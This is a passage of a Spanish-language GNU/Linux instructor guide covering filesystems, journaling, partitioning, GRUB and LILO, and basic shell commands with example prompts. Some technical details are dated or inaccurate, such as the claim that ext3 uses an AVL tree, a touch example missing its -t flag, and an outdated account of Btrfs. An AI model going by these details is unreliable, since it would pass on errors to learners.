Fundación Código Libre Dominicanohttp://www.codigolibre.org

Existen versiones GNU/Linux para máquinas x86 (abarca desde computadoras 386, Pentium I, Celeron, hasta Pentium IV), también para x86-64, arquitectura de 64 bits de AMD (copiada por intel y rebautizada como em64t), y para procesadores PowerPC (PPC) de las computadoras Apple Macintosh.

Sobre el particionamiento:

En Linux hay muchos tipos de particiones entre las que podemos mencionar ext2, ext3, ext4, swap y ReiserFS. Esto por solo mencionar algunas de las más importantes.

ext2 (second extended filesystem o "segundo sistema de archivos extendido") es un sistema de archivos para el kernel de Linux. Fue diseñado originalmente por Rémy Card. La principal desventaja de ext2 es que no implementa el registro por diario (en inglés Journaling) que sí implementa su sucesor ext3, el cual es totalmente compatible.

ext3 (third extended filesystem o "tercer sistema de archivos extendido") es un sistema de archivos con registro por diario (journaling). Es el sistema de archivo más usado en distribuciones Linux.La principal diferencia con ext2 es el registro por diario. Un sistema de archivos ext3 puede ser montado y usado como un sistema de archivos ext2. Otra diferencia importante es que ext3 utiliza un árbol binario balanceado (árbol AVL) e incorpora el asignador de bloques de disco Orlov.

Journaling

Para hablar de Journaling antes habría que mencionar esta técnica llamada Write-ahead logging(WAL) o Registro de escritura anticipada.En informática, el registro de escritura anticipada (WAL) es una familia de técnicas que proporcionan atomicidad y durabilidad (dos de las propiedades ACID) en los sistemas de base de datos.

En un sistema que utiliza WAL, todas las modificaciones se escriben en un registro antes de su aplicación.Por lo general, información sobre "rehacer" y "deshacer" se almacena en el registro.

El propósito de esta se puede ilustrar con un ejemplo. Imagine que un programa está llevando a cabo alguna operación en un computador y se apaga por causa de la energía eléctrica. Al reiniciar, el programa necesita saber si la operación se realizo correctamente, o tuvo éxito a medias. Si un archivo de registro se utiliza, el programa podría ver este registro o "log" y comparar lo que se supone debió hacer cuando perdió electricidad contra lo que se hizo. Sobre la base de esta comparación, el programa podría decidir deshacer lo que había comenzado, completar lo que había empezado, o mantener las cosas como son.

WAL permite la actualización de una base de datos "in-place". Otra forma de implementar actualizaciones atómico es con la paginación sombra, que no usa "in-place". La principal ventaja de hacer cambios "in-place" es que reduce la necesidad de modificar los índices y listas de bloqueo.

ARIES es un algoritmo popular en la familia WAL.En los sistemas de archivos, WAL es a menudo llamado "registro de diario" o "Journaling".El journaling es un mecanismo por el cual un sistema informático puede implementar

Diplomado de GNU/Linux17

Page 18: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

transacciones. También se le conoce como «registro por diario».Se basa en llevar un journal o registro de diario en el que se almacena la información necesaria para restablecer los datos afectados por la transacción en caso de que ésta falle.

El procedimiento es básicamente el siguiente:1. Se bloquean las estructuras de datos afectadas por la transacción para que ningún otro proceso pueda modificarlas mientras dura la transacción.2. Se reserva un recurso para almacenar el journal. Por lo general suelen ser unos bloques de disco, de modo que si el sistema se para de forma abrupta (corte eléctrico, avería, fallo del sistema operativo...) el journal siga disponible una vez reiniciado el sistema.3. Se efectúan una a una las modificaciones en la estructura de datos. Para cada una:a. Se apunta en el journal como deshacer la modificación y se asegura de que esta información se escribe físicamente en el disco.b. Se realiza la modificación.c. Si en cualquier momento se quiere cancelar la transacción se deshacen los cambios uno a uno leyéndolos y borrándolos del journal.4. Si todo ha ido bien, se borra el journal y se desbloquean las estructuras de datos afectadas.

Las aplicaciones más frecuentes de los sistemas de journaling se usan para implementar transacciones de sistemas de bases de datos y, más recientemente, para evitar la corrupción de las estructuras de datos en las que se basan los sistemas de archivos modernos.

En el caso concreto de los sistemas de archivos, el journaling se suele limitar a las operaciones que afectan a las estructuras que mantienen información sobre:* Estructuras de directorio.* Bloques libres de disco.* Descriptores de archivo (tamaño, fecha de modificación...)

El hecho de que no se suela implementar el journaling de los datos concretos de un archivo suele carecer de importancia, puesto que lo que persigue el journaling de sistemas de archivos es evitar los engorrosos y largos chequeos de disco que efectúan los sistemas al apagarse bruscamente, ya que el sistema al arrancar solo deberá deshacer el journal para tener un sistema coherente de nuevo.

Niveles del Journaling

Hay tres niveles posibles de Journaling (registro por diario)Diario (riesgo bajo)Los meta-datos y los archivos de contenido son copiados al diario antes de ser llevados al sistema de archivos principal. Como el diario está en el disco continuamente puede mejorar el rendimiento en ciertas ocasiones. En otras ocasiones el rendimiento es peor porque los datos deben ser escritos dos veces, una al diario y otra a la parte principal del sistema de archivos.

Pedido (riesgo medio)Solo los metadatos son registrados en el diario, los contenidos no, pero está asegurado que el contenido del archivo es escrito en el disco antes de que el meta-dato asociado se marque como transcrito en el diario. Es el sistema por defecto en la mayoría de las

Diplomado de GNU/Linux18

Page 19: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

distribuciones de Linux. Si hay un bajón de tensión o kernel Panic cuando el archivo se está escribiendo o está empezando, el diario indicará que el nuevo archivo o el intento no ha sido pasado, por lo que sera purgado por el proceso de limpiado.

Reescritura (riesgo alto)Solo los meta-datos son registrados en el diario, el contenido de los archivos no. Los contenidos pueden estar escritos antes o después de que el diario se actualice. Como resultado, los archivos modificados correctamente antes de una ruptura pueden volverse corruptos. Por ejemplo, un archivo pendiente de ser marcado en el diario como mayor de lo que actualmente es, convirtiendo en basura al final de la comprobación. Las versiones antiguas de los archivos pueden aparecer inesperadamente después de una recuperación de diario. La carencia de sincronización entre los datos y el diario es rápidamente subsanada en muchos casos. JFS usa este nivel de journaling, pero se asegura de que cualquier basura es borrada al reiniciar

ext4 (fourth extended filesystem o "cuarto sistema de archivos extendido") es un sistema de archivos con registro por diario (en inglés Journaling), anunciado el 10 de octubre de 2006 por Andrew Morton, como una mejora compatible de ext3. El 25 de diciembre de 2008 se publicó el kernel de Linux 2.6.28, que elimina ya la etiqueta de "experimental" de código de ext4.Las principales mejoras son:Soporte de volúmenes de hasta 1024 PiB.Soporte añadido de extent.Menor uso del CPU.Mejoras en la velocidad de lectura y escritura.

ReiserFS es un sistema de archivos de propósito general, diseñado e implementado por un equipo de la empresa Namesys, liderado por Hans Reiser. Actualmente es soportado por Linux y existen planes de futuro para incluirlo en otros sistemas operativos. ReiserFS ofrece funcionalidades que pocas veces se han visto en otros sistemas de archivos:Journaling. Esta es la mejora a la que se ha dado más publicidad, ya que previene el riesgo de corrupción del sistema de archivos. Reparticionamiento con el sistema de archivos montado y desmontado. Podemos aumentar el tamaño del sistema de archivos mientras lo tenemos montado y desmontado (online y offline). Para disminuirlo, únicamente se permite estando offline (desmontado). Namesys nos proporciona las herramientas para estas operaciones, e incluso, podemos usarlas bajo un gestor de volúmenes lógicos como LVM o EVMS. Tail packing, un esquema para reducir la fragmentación interna.

BtrfsBtrfs (B-tree FS o normalmente pronunciado "Butter FS") es un sistema de archivos copy-on-write anunciado por Oracle Corporation para Linux.Su objetivo es sustituir al actual sistema de archivos ext3, eliminando el mayor número de sus limitaciones, en especial con el tamaño máximo de los archivos; además de la adopción de nuevas tecnologías no soportadas por ext3. Se afirma también que se "centrará en la tolerancia a fallos, reparación y fácil administración".En febrero de 2009, Btrfs está siendo desarrollado intensivamente y sólo está disponible para ser testeado. Btrfs v0.19 fue publicado en junio de 2009, como software libre bajo la GPL. Btrfs v1.0 (con el formato de disco finalizado) estaba previsto para ser publicado a finales de 2008, pero tras sobrepasarse esa fecha no se ha vuelto a dar

Diplomado de GNU/Linux19

Page 20: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

una fecha para la versión definitiva.Theodore Ts'o, desarrollador de los sistemas ext3 y ext4, dice que Btrfs "tiene algunas de las ideas de diseño de Reiser4" y que "el sistema de archivos tiene soporte para algunas características avanzadas que están diseñadas para incorporarse en ZFS".

CaracterísticasLas características finales presentadas son:•Empaquetado eficiente en espacio de archivos pequeños y directorios indexados •Asignación dinámica de inodos (no se fija un número máximo de archivos al crear el sistema de archivos) •Snapshots escribibles y snapshots de snapshots •Subvolúmenes (raíces del sistema de archivos internas separadas) •Mirroring y Stripping a nivel de objeto •Comprobación de datos y metadatos (alta seguridad de integridad) •Compresión •Copy-on-write del registro de todos los datos y metadatos •Gran integración con device-mapper para soportar múltiples dispositivos, con varios algoritmos de RAID incluidos •Comprobación del sistema de archivos sin desmontar y comprobación muy rápida del sistema de archivos desmontado •Copias de seguridad incrementales eficaces y mirroring del sistema de archivos •Actualización desde ext3 a Btrfs, y reconversión a ext3 al momento de la actualización •Modo optimizado para SSD (activado a través de una opción de montaje) •Desfragmentación sin desmontar

Swap En informática, el espacio de intercambio es una zona del disco (un archivo o partición) que se usa para guardar las imágenes de los procesos que no han de mantenerse en memoria física. A este espacio se le suele llamar swap, del inglés "intercambiar".La mayoría de los sistemas operativos modernos poseen un mecanismo llamado memoria virtual, que permite hacer creer a los programas que tienen más memoria que la disponible realmente; por ejemplo, 4 Gb en un ordenador de 32 bits. Como en realidad no se tiene físicamente toda esa memoria, algunos procesos no podrán ser ubicados en la memoria RAM.En este caso es cuando es útil el espacio de intercambio: el sistema operativo puede buscar un proceso poco activo, y moverlo al área de intercambio (el disco duro) y de esa forma liberar la memoria principal para cargar otros procesos. Mientras no haga falta, el proceso extraído de memoria puede quedarse en el disco, ya que ahí no gasta memoria física. Cuando sea necesario, el sistema vuelve a hacer un intercambio, pasándolo del disco a memoria RAM. Es un proceso lento (comparado con usar sólo la memoria RAM), pero permite dar la impresión de que hay más memoria disponible.

Un particionamiento básico en GNU/Linux puede constar de 2 particiones: una partición swap y la partición principal “/”. La partición swap, como su significado lo indica (Intercambio) sirve para que cuando la memoria RAM se llene, deposite el contenido en la partición swap. La partición “/” que es la principal, también llamada [ROOT] o raíz, contiene todos los programas de lugar que instalas con la distribución.

También podemos tener un particionamiento de esta forma.Crear la partición root (/), swap y /home. Para la primera basta con 10 Gb, la segunda idealmente del doble de tu RAM (si tienes 1 GB o más, déjala en 1GB), y la

Diplomado de GNU/Linux20

Page 21: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

tercera con el resto del espacio (ahí irían tus documentos).

0.7 Métodos de Instalación

Estos métodos todos son posibles en muchas distribuciones pero específicamente en RedHat y CentOS.

CD-ROMSi posee un lector de CD-ROM y tiene los CD-ROMs de distribución, puede utilizar este método.(Este es soportado en todas las distribuciones)

Disco duroSi ha copiado las imágenes ISO de Red Hat Enterprise Linux en el disco duro local, puede utilizar este método. Necesitará un disquete o CD-ROM de arranque.

NFSSi está realizando la instalación desde un servidor NFS utilizando imágenes ISO o una imagen réplica de Red Hat Enterprise Linux, CentOS o Debian, entre otras, puede utilizar este método. Necesitará un CD-ROM de arranque (utilice la opción de arranque linux askmethod). (Este es soportado en la mayoría)

FTPSi está realizando la instalación directamente desde un servidor FTP, utilice este método. Necesitará un CD-ROM de arranque (use la opción de arranque linux askmethod). (Este es soportado en la mayoría)

HTTPSi está realizando la instalación directamente desde un servidor Web HTTP, utilice este método. Necesitará un CD-ROM de arranque (use la opción de arranque linux askmethod).

0.8 Gestores de Arranque Los más comunes son Lilo y Grub, siendo el último el reemplazo definitivo del primero.

En computación, el GRand Unified Bootloader (GRUB) es un gestor de arranque múltiple que se usa comúnmente para iniciar dos o más sistemas operativos instalados en un mismo ordenador.Técnicamente, un gestor multiarranque es aquel que puede cargar cualquier archivo ejecutable y que contiene un archivo de cabecera multiarranque en los primeros 8 KB del archivo. Tal cabecera consiste en 32 bits de un número “mágico”, 32 de indicadores (flags), otros 32 de un número “mágico”, seguidos de información sobre la imagen ejecutable.Una de las características más interesantes es que no es necesario instalar una partición nueva o un núcleo nuevo, pudiendo cambiar todos los parámetros en el arranque mediante la Consola de GRUB.Mientras los gestores de arranque convencionales tienen una tabla de bloques en el disco duro, GRUB es capaz de examinar el sistema de archivos. Actualmente, soporta los siguientes sistemas de archivos:ext2/ext3 usado por los sistemas UNIX y su variante GNU/Linux ReiserFS. XFS de SGI. UFS.

Diplomado de GNU/Linux21

Page 22: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

VFAT, como FAT16 y FAT32 usados por Windows 9.x NTFS usado por los sistemas Windows NT/2000/XP/VISTA JFS de IBM.

Características de GRUB

• Reconoce varios formatos ejecutables. • Soporte para núcleos que no son Multiarranque: principalmente FreeBSD, NetBSD,

OpenBSD y Linux. • Carga de múltiples módulos: carácterística del Multiarranque. • Carga de un archivo de configuración: archivo simple de texto con órdenes

predeterminadas. • Presenta una interfaz de menú con un tiempo de espera programable. • Tiene una interfaz de comandos flexible accesible desde el menú. • Soporte para varios sistemas de archivos: soportados BSD FFS, DOS FAT16 y FAT32,

Minix fs, Linux ext2fs, ext3fs, ReiserFS, JFS, XFS, and VSTafs • Soporte para descompresión automática con gzip: Imagine cargar módulos del núcleo

que están comprimidos. • Acceso a los datos en cualquiera de los dispositivos instalados. • Independencia de las traducciones de geometría del disco. • Detecta toda la RAM instalada. • Admite el modo LBA (Dirección de Bloque Lógico): GRUB detecta automáticamente si

el modo LBA está disponible, en modo LBA GRUB puede acceder a todo el disco. • Soporte para arranque a través de la red usando el protocolo TFTP. • Soporte para terminales remotas: por el momento implementado el soporte para

terminales a través del puerto de serie.

Terminología de GRUB

GRUB utiliza diferentes términos para hacer referencia a los dispositivos.

Nombres de dispositivosGRUB usa las siguientes reglas para nombrar a los dispositivos y las particiones:

• Tanto los discos duros IDE o SCSI empiezan con hd, las unidades de disquete inician con fd.

• Los nombres de los dispositivos deben estar encerrados entre paréntesis. • (hd0) Así identificamos el disco duro primario, encerrado entre paréntesis. Esto

es importante para indicarle a GRUB que configure el MBR del disco duro primario, si colocamos (hd3) estaremos especificando el cuarto disco duro.

Veamos otro ejemplo para señalar a un disco duro:(hd0,1) => {tipo de dispositivo}{Número de dispositivo}, {Número de partición}

• hd significa que es un disco duro (hard disk). • El número 0 se refiere al número de la unidad, empezando a contar desde cero, así

que este es el dispositivo primario. • El número 1 se refiere a la 2º partición del disco duro.

Nombres de archivosPara poder especificar la ubicación de un archivo desde GRUB se hace así:(hd0,0)/vmlinuz = /dev/hda1/vmlinuzEsto especifica un archivo llamado vmlinuz en la primera partición del disco duro primario.

Diplomado de GNU/Linux22

Page 23: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Interfaces de GRUB

GRUB dispone de tres interfaces, cada una permite arrancar el kernel de Linux u otros sistemas operativos. a) Interfaz de menúCuando GRUB se instala por defecto, lo primero que vemos al reiniciar la computadora es una lista de opciones para seleccionar, esa es la interfaz de menú. Presionando la tecla [e] se podrá ingresar a la interfaz del editor de menú de entrada o si presiona la [c] cargará la interfaz de línea de comandos.b) Interfaz del editor de menú de entradaPresionando la tecla [e] desde el menú del gestor de arranque se accede a esta interfaz, pudiendo alterar las líneas de comando antes de arrancar el sistema operativo. Tiene algunos comandos como:

• la tecla [o] permite agregar una línea nueva después de la línea actual, • la tecla [O] inserta una línea nueva después de la línea actual, • la tecla [e] te sirve para modificar el contenido de una línea y la tecla [d] te

sirve para borrar la línea. La tecla [b] ejecuta los comandos y arranca el sistema operativo. La tecla [Esc] omite los cambios y el usuario vuelve a la interfaz de menú estándar. Con la tecla [c] se carga la interfaz de línea de comandos. c) Interfaz de línea de comandosEs la interfaz que proporciona mayor control. Se puede escribir cualquier comando seguido de ENTER para ejecutarlo. Esta interfaz cuenta con algunas funciones similares a las de shell avanzadas, incluyendo el uso de [Tab] para autocompletar, y las combinaciones de teclas con [Ctrl] al escribir comandos, tales como [Ctrl]-[a] para moverse al comienzo de la línea y [Ctrl]-[e] para moverse al final. Además, las teclas de flecha, [Inicio], [Fin], y [Supr] funcionan de forma similar al bash shell.

Proceso de inicio de GRUB.

El BIOS busca un dispositivo de inicio (como el disco duro) y pasa el control al registro maestro de inicio (Master Boot Record, MBR, los primeros 512 bytes del disco duro).

1.El BIOS busca un dispositivo de inicio (como el disco duro) y de ahí pasa el control al registro maestro de inicio conocido como Master Boot Record o MBR, que consiste en los primeros 512 bytes del disco duro y que forman la fase 1 de GRUB. 2.La fase 1 de GRUB carga la siguiente fase de GRUB, ubicada físicamente en cualquier parte del disco duro. La fase 1 puede cargar ya sea la fase 1.5 o, directamente, la 2. 3.La fase 1.5 de GRUB, ubicada en los siguientes 30 kilobytes del disco duro, carga la fase 2. En GRUB 2, esta fase ha dejado de existir.4.La fase 2 de GRUB (cargada por las fases 1 ó 1.5) recibe el control, y presenta al usuario el menú de inicio. 5.GRUB carga el kernel seleccionado por el usuario, en la memoria y le pasa el control.

Mientras los gestores de arranque convencionales tienen una tabla de bloques en el disco duro, GRUB es capaz de examinar el sistema de archivos. Actualmente, soporta los siguientes sistemas de archivos:

• ext2/ext3/ext4 (Grub2) usado por los sistemas UNIX y su variante libre GNU/Linux. • ReiserFS. • XFS de SGI (aunque puede provocar problemas). • UFS.

Diplomado de GNU/Linux23

Page 24: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

• VFAT, como FAT16 y FAT32 usados por Windows 9.x • NTFS usado por los sistemas Windows NT (a partir de Windows NT v.3.51). • JFS de IBM. • HFS de Apple Inc.

Otros ejemplos de cargadores multiarranque son LILO y SYSLINUX.

GRUB soporta 14 colores de fondo, siendo el negro el color por defecto. Algunas distribuciones de GNU/Linux que incluyen GRUB frecuentemente utilizan fondos personalizados con el logotipo de dicha distribución. Los usuarios de GRUB pueden también hacer y colocar sus propios fondos.

LILO

LILO es un acrónimo de LInux LOader (cargador) y ha sido usado para arrancar linux en sistemas x86 por muchos años, muchos prefieren usar LILO porque es más familiar.

LILO y el proceso de arranque de x86

LILO se carga así mismo en la memoria en dos etapas. 1. La etapa 1, donde el gestor de arranque primario se lee en la memoria por la BIOS

desde el MBR. Se carga en los primeros 512 bytes dentro del MBR, su función es cargar la etapa 2 del gestor de arranque y pasarle la información de la geometría del disco.

2. La etapa 2, donde el gestor de arranque secundario se lee en memoria. El gestor de arranque muestra una pantalla que permite seleccionar el kernel del sistema operativo Linux que desee arrancar, esta etapa carga el kernel y el initrd.

Para acceder a la línea de comandos boot:, presione [Ctrl]+[X] ó [TAB].

Diferencias entre LILO y GRUB

LILO funciona de forma parecida a GRUB a diferencia de: • No posee ninguna interfaz del comando interactiva: la línea de comandos de Lilo

no es interactiva y sólo permite comandos con argumentos. • Almacena información sobre la localización del kernel o si otro sistema operativo

se debe cargar en el MBR: Cada cambio que se haga debe ser reescrito por lilo debiendo ejecutar: /sbin/lilo –v –v. Si no se tiene una configuración correcta el sistema no podrá arrancar.

• No puede leer las particiones ext2. Archivo de Configuración /etc/lilo.confLilo se configura por medio del archivo /etc/lilo.conf, y cada que se realice un cambio deberá ejecutarse el comando /sbin/lilo para escribir los cambios al MBR.

Cambiar los niveles de ejecución en tiempo de arranqueTanto LILO como GRUB permiten cambiar los niveles de ejecución en tiempo de arranque.LILO

• Presione [Ctrl]-[X] o [TAB] para acceder a la línea de comandos, luego escriba:linux<runlevel-number>

<runlevel-numer> puede ser de 1 a 5, o también puede usar las palabras single o emergency.

GRUB• En el menú de arranque seleccionar la entrada correspondiente al sistema Linux,

luego pulsar la tecla [e] para modificarla.

Diplomado de GNU/Linux24

Page 25: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

• Situarse en la línea del kernel y pulse [e] para modificarla. • Añadir al final de la línea Kernel un número (desde 1 a 5), o las palabras single

o emergency y presione [ENTER]. • Volverá a la pantalla de GRUB con la información sobre el kernel. Pulse [b] para

arrancar el sistema.

0.9 Practica Básico Capitulo 0

1.0 Comandos GNU / UNIX

En este capitulo abarcaremos los comandos básicos para manejarnos en el shell, estos son algunos de ellos:cd, ls, file, cat, mkdir, mv, rm, touch, more, less, wc, head, less, cp, diff, find, locate

1.1 Iniciando Linux

GNU/Linux esta estructurado con un kernel pequeño y un número de programas utilitarios montados encima del kernel. El núcleo maneja los recursos de la computadora, tal como el procesador y la memoria, y en esto debe asegurarse de que cada quien que trata de utilizar éstos recursos es dado una oportunidad apropiada de tiempo de acceso.

El kernel se carga en memoria cuando Linux se inicia y permanece en memoria hasta que el sistema se descarga por completo. Se diseña para ser lo más pequeño que sea posible, permitiendo así que la memoria restante sea compartida entre todos los programas que se ejecutan en el sistema.

Los programas utilitarios proporcionan manejo de archivo, supervisión del sistema, desarrollo de aplicaciones, manejo de usuario, y comunicación de red. Puede haber más de 2.000 utilidades en un sistema de GNU/Linux.

1.2 Que es el shell

Intérprete de órdenes, Intérprete de mandatos, Intérprete de línea de mandatos, Intérprete de comandos, Terminal, Consola, Shell ó su acrónimo en idioma inglés CLI por Command line interface, es un programa informático que actúa como Interfaz de usuario para comunicar al usuario con el sistema operativo mediante una ventana que espera ordenes escritas por el usuario en el teclado (por ej. lpr CARTA.TXT), los interpreta y los entrega al sistema operativo para su ejecución. La respuesta del sistema operativo es mostrada al usuario en la misma ventana. A continuación, El programa shell queda esperando más instrucciones. Se interactúa con la información de la manera más sencilla posible, sin gráficas, solo el texto crudo.

bash es un shell de Unix (intérprete de órdenes de Unix) escrito para el proyecto GNU. Su nombre es un acrónimo de bourne-again shell (otro shell bourne) — haciendo un juego de palabras (born-again significa renacimiento) sobre el Bourne shell (sh), que fue uno de los primeros intérpretes importantes de Unix. Hacia 1978 el intérprete Bourne era el intérprete distribuido con el Unix Version 7. Stephen Bourne, por entonces investigador de los Laboratorios Bell, escribió el intérprete Bourne original. Brian Fox escribió el intérprete bash en 1987. En 1990, Chet Ramey se convirtió en su principal desarrollador. bash es el intérprete predeterminado en la mayoría de sistemas GNU/Linux, además de Mac OS X Tiger, y puede ejecutarse en la mayoría de los sistemas

Diplomado de GNU/Linux25

Page 26: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

operativos tipo Unix.

1.3 Comandos Básicos

A continuación veremos algunos ejemplos de cada uno de estos comandos para ilustrar como se usan. Te recuerdo que Linux es sensible a minúsculas y mayúsculas, por lo que debes tener pendiente si tu CAPSLOCK esta encendido en el teclado.No solo los comandos son sensibles, sino también los archivos siendo “ls” diferente a “LS” o a “Ls”.Con los archivos toma en cuenta lo siguiente, el archivo “file.txt” es distinto a “File.txt”. No importa donde este la mayúscula, con solo tenerla lo hace distinto.

1.4 cd, ls, file, cat, mkdir, mv, rm, touch, more, less, wc, head, less, cp, diff, find, locate, date, cal, whoami, echo, clear, exit

Comando “cd”Este comando te permite cambiar de directorio o ubicación.zxguitar@zxlaptop:~$cd /zxguitar@zxlaptop:/$ zxguitar@zxlaptop:~$cd /homezxguitar@zxlaptop:/home$zxguitar@zxlaptop:~$cd /etczxguitar@zxlaptop:/etc$

Nota: fíjate como cambia el “prompt” de acuerdo a como cambias de directorio. Recuerda que Linux posee un sistema de archivos jerárquico y la “/” es la ubicación mas alta o en otras palabras es el principio de la jerarquía. También te recuerdo que la virgulilla(~) que ves en el prompt(zxguitar@zxlaptop:~$) indica que estas en tu directorio HOME(/home/usuario) en mi caso seria (/home/zxguitar). Esto significa que si estoy en este directorio(/etc/X11/xserver) y quiero cambiar a mi HOME, puedo hacerlo de esta forma.

zxguitar@zxlaptop:/etc/X11/xserver$cd ~

o simplementezxguitar@zxlaptop:/etc/X11/xserver$cd

y volveré a mi home que se vería de esta formazxguitar@zxlaptop:~$

Comando “ls”zxguitar@zxlaptop:~$lszxguitar@zxlaptop:~$ls -l /zxguitar@zxlaptop:~$ls -R /etc

Nota: la opción “-l” te permite ver los atributos de los archivos y la opción “-R” te permite ver los directorios recursivamente. Este comando tiene muchas opciones, pero para fines de ejemplo solo tenemos estas.

Comando “clear”jp@fcld:~$clear

Diplomado de GNU/Linux26

Page 27: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Nota: limpia la pantalla

Comando “exit”jp@fcld:~$ exit

Nota: abandona la sesión actual

Comando “file”zxguitar@zxlaptop:~$file /etc/passwd/etc/passwd: ASCII text

Nota: el comando “file” te permite ver el tipo de archivo cuando lo usas, en el ejemplo anterior, el archivo resulto ser un archivo de texto ASCII.

Comando “cat”zxguitar@zxlaptop:~$cat /etc/passwdzxguitar@zxlaptop:~$cat > archivo.txthola[Presionar CTRL + D]

Nota: este comando te permite ver el contenido de un archivo, pero además, en el segundo ejemplo, vemos que te permite crear un archivo. Al finalizar de escribir el contenido presionamos CTRL + D, esto es para que guarde los cambios. Si no queremos que se guarden, presionamos CTRL + C. los cambios no se guardaran, pero el archivo quedara creado.

Comando “mkdir”zxguitar@zxlaptop:~$mkdir pruebazxguitar@zxlaptop:~$mkdir -p examen/practica/linux-basico

Nota: este comando permite crear un directorio. Como vemos en el 2do ejemplo la opción “-p” permite crear subdirectorios al vuelo, si el directorio examen estuviera creado, el comando sigue con el otro directorio que continua que en este caso seria el directorio “practica”. También cabe aclarar que si el directorio examen no existiese, el comando lo crearía.

Comando “mv”zxguitar@zxlaptop:~$mv archivo.txt archivo2.txtzxguitar@zxlaptop:~$mv archivo2.txt prueba/examen/

Nota: este comando cambia el nombre de un archivo, además mueve un archivo a otro lugar o directorio.

Comando “rm”zxguitar@zxlaptop:~$rm archivo.txtzxguitar@zxlaptop:~$rm -rf prueba/

Nota: este comando borra un archivo. En el segundo ejemplo vemos que con la opción “-r” significa recursivamente y la opción “-f” le indica al comando que obligue y elimine. Esta combinación permite eliminar un directorio aunque tenga archivos dentro.

Diplomado de GNU/Linux27

Page 28: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Comando “touch”zxguitar@zxlaptop:~$touch file.txtzxguitar@zxlaptop:~$touch 01012000 file.txt

Nota: este comando te permite crear un archivo vacío, pero como en el segundo ejemplo, lo elemental de esto es cambiar las fechas de creación, acceso y modificación de un archivo.

Comando “more”zxguitar@zxlaptop:~$more file.txt

Nota: este comando es un paginador, te permite ver un archivo por páginas, de 1 en 1.

Comando “less”zxguitar@zxlaptop:~$less file.txt

Nota: este comando es un paginador, te permite ver un archivo y moverte dentro de el por líneas o por paginas.

Comando “wc”zxguitar@zxlaptop:~$wc file.txt13 69 757 file.txtzxguitar@zxlaptop:~$wc -l file.txt13 file.txtzxguitar@zxlaptop:~$wc -w file.txt69 file.txt

Nota: este comando puede contar palabras, líneas y caracteres en un archivo.

Comando “head”zxguitar@zxlaptop:~$head file.txtzxguitar@zxlaptop:~$head -5 file.txt

Nota: este comando te permite ver las primeras 10 líneas de un archivo, la opción “-5” especifica que son las primeras 5 líneas.

Comando “tail”zxguitar@zxlaptop:~$tail file.txtzxguitar@zxlaptop:~$tail -5 file.txt

Nota: este comando te permite ver las ultimas 10 líneas de un archivo, la opción “-5” especifica que son las ultimas 5 líneas.

Comando “cp”zxguitar@zxlaptop:~$cp file.txt archivo.txtzxguitar@zxlaptop:~$cp /etc/passwd /home/zxguitar/zxguitar@zxlaptop:~$cp -R /etc /home/zxguitar/copia/

Nota: este comando copia un archivo. En el primer ejemplo se hace una copia del archivo “file.txt” con el nombre de “archivo.txt”. En el segundo ejemplo se copia el archivo “passwd” al directorio /home/zxguitar. En el tercer ejemplo, se copia, recursivamente

Diplomado de GNU/Linux28

Page 29: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

el directorio “etc” entero al directorio /home/zxguitar/copia/

Comando “diff”zxguitar@zxlaptop:~$diff -a file.txt archivo.txtzxguitar@zxlaptop:~$diff -i file.txt archivo.txtzxguitar@zxlaptop:~$diff -w file.txt archivo.txt

Nota: este comando compara archivos, la opción “-a” hace que trate todos los archivos como texto, la opción “-i” hace que ignore las mayúsculas y minúsculas, la opción “-w” hace que ignore los espacios en blanco.

Comando “find”zxguitar@zxlaptop:~$find /etc -name passwd -printzxguitar@zxlaptop:~$find /home/zxguitar -name video.mpg -print

Nota: el comando find te permite buscar archivos, consta de muchísimas opciones, para más información consultar las paginas man.

Comando “locate”zxguitar@zxlaptop:~$locate file.txtzxguitar@zxlaptop:~$updatedb

Nota: este comando te permite buscar archivos sin dar la ubicación, el comando “updatedb” actualiza la base de datos de los archivos, esto es por si últimamente ha copiado archivos nuevos, para que pueda hallarlos y es importante saber que para ejecutar “updatedb” es necesario estar en usuario “root” porque este comando debe acceder a directorios privilegiados.

Comando “date”[jp@oraserv5 ~]$ date [jp@oraserv5 ~]$ date +%F [jp@oraserv5 ~]$ date +%D'-->'%F

Nota: Este comando tiene dos funciones: una es la de mostrar en pantalla la fecha del sistema (en varios formatos, como veremos a continuación), la otra es la función de configurar la hora del sistema, pero para que esta funcionalidad se cumpla, se debe ejecutar el comando desde una sesión de root. La sintaxis de este comando es:

root@oraserv5:~# date -s "2 OCT 2011 18:00:00"

o tambiénroot@oraserv5:~# date --set="2 OCT 2011 18:00:00"

también puedes usar la siguiente sintaxis:root@oraserv5:~# date +%Y%m%d -s "20081128"

Para cambiar la hora:root@oraserv5:~# date +%T -s "10:13:13"

Donde• 10: Hora (hh)• 13: Minutos (mm)

Diplomado de GNU/Linux29

Page 30: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

• 30: Segundos (ss)

Usa %p que es el equivalente para AM o PM:root@oraserv5:~# date +%T%p -s "6:10:30AM"root@oraserv5:~# date +%T%p -s "12:10:30PM"

Comando “whoami”[jp@oraserv5 ~]$ whoami

Nota: Éste es otro comando muy simple como pwd, su función consiste en presentar en pantalla el “nombre de usuario” del usuario que lo ejecuta. Ejemplo:jp

Comando “cal”[jp@oraserv5 ~]$ cal[jp@oraserv5 ~]$ cal 2011

Nota: Este es un comando bastante útil, que aunque no tenga mucha relación con los anteriormente dados, sirve para demostrar que las herramientas basadas en texto no son inútiles para tareas domésticas. cal es una herramienta que sirve para mostrar en pantalla el calendario.

Comando “echo”[jp@oraserv5 ~]$ echo "Academia Del Software Libre" Academia Del Software Libre[jp@oraserv5 ~]$ echo "El comando date Se encuentra en `which date`" El comando date Se encuentra en /bin/date

